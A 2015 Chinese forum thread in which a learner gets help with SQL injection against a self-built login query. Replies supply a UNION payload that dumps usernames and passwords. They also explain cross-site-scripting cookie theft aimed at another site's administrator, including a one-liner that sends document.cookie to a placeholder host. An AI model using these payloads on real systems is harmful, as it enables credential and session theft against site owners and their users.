v2gba

[求助]关于 SQL 注入

  •  
  •   v2gba · Feb 25, 2015 · 3949 views
    This topic created in 4273 days ago, the information mentioned may be changed or developed.

    我正在学习SQL注入
    自建的网站里的查询语句是:

    SELECT name, surname, username, passwd, is_admin FROM users WHERE username='***********';
    

    星号是输入内容,
    但是不管怎样出错他都只会返回username,
    我可以不断尝试拿到不同的username,
    但是怎样能把passwd放到username里返回呢?
    我想的是类似于构造出

    SELECT name, surname, passwd, username, is_admin FROM users WHERE username='某用户名';
    

    但试了不同的组合, 都无法成功. 不知道应该怎样构造语句.

    Thanks in advance!

    Supplement 1  ·  Feb 25, 2015
    已解决
    19 replies  •  2015-02-25 12:24:53 +08:00
    mhycy
    mhycy
    Feb 25, 2015
    1
    你想做啥。。。。囧
    typcn
    typcn
    Feb 25, 2015
    2
    盲注?借助工具吧
    v2gba
    v2gba
    OP
    Feb 25, 2015
    3
    @mhycy 这是学习啊...网站是我自己搭的..
    v2gba
    v2gba
    OP
    Feb 25, 2015
    4
    @typcn 不是盲注 我知道网站源码
    sandtears
    sandtears
    Feb 25, 2015
    5
    额。。 不是盲注的话,你得给大家看一下网页显示的源码吧。。
    v2gba
    v2gba
    OP
    Feb 25, 2015
    6
    @RIcter
    大大求助
    v2gba
    v2gba
    OP
    Feb 25, 2015
    7
    mhycy
    mhycy
    Feb 25, 2015
    8
    报错的是语句,passwd都没查出来怎么返回?
    v2gba
    v2gba
    OP
    Feb 25, 2015
    9
    @mhycy

    -- Users schema

    CREATE TABLE users(
    id INTEGER PRIMARY KEY NOT NULL,
    name TEXT NOT NULL,
    surname TEXT NOT NULL,
    username TEXT NOT NULL,
    passwd TEXT NOT NULL,
    is_admin BOOLEAN NOT NULL DEFAULT 'f'
    );
    RIcter
    RIcter
    Feb 25, 2015 via iPad
    10
    刚睡醒看到已经解决了…
    --

    -1' union select password from xxx#
    RIcter
    RIcter
    Feb 25, 2015❤️1
    11
    @RIcter 忘记 limit 0,1 了,完整 payload:

    -1' union select concat(surname, 0x3a, passwd) from users limit 0,1#
    v2gba
    v2gba
    OP
    Feb 25, 2015
    12
    @RIcter

    还想问下一个关于XSS的问题

    例如我可以在A站以普通用户的身份发布一个不被转义的内容.
    A站管理员会访问我的网站(B站).

    能否讲下大概怎样的过程能拿到A站管理员cookie里的内容?
    RIcter
    RIcter
    Feb 25, 2015
    13
    有一种平台叫做 XSS 平台,比如这个: http://xssnow.com/index.php
    里面有现成可利用的 payload 可以获取 Cookie。

    以至于远离,大抵是这样:

    先获取 Cookie:document.cookie
    然后转义,POST Cookie 的内容到一个接收端,接受端获取后存入数据库。
    RIcter
    RIcter
    Feb 25, 2015
    14
    @RIcter s/远离/原理/g
    kslr
    kslr
    Feb 25, 2015
    15
    @MrGba2z >

    window.open("http://xxx.com?cookie="+document.cookie)
    v2gba
    v2gba
    OP
    Feb 25, 2015
    16
    @RIcter 没有邀请码 T_T.


    @kslr @RIcter
    我想象的流程是:

    管理员访问我的网站, 我直接首页跳转到他的网站W页面, W页面有我发布的未转义内容, 访问该页面会执行脚本, 获取cookies并发到我的网站.

    请问是否正确?
    RIcter
    RIcter
    Feb 25, 2015
    17
    @MrGba2z 不要邀请码,随便打就行
    v2gba
    v2gba
    OP
    Feb 25, 2015
    18
    @RIcter
    提示邀请码不正确...
    RIcter
    RIcter
    Feb 25, 2015 via iPhone
    19
    @MrGba2z 可能現在要邀請碼了吧⋯
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1607 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 10:59 · PVG 18:59 · LAX 02:59 · JFK 05:59
    ♥ Do have faith in what you're doing.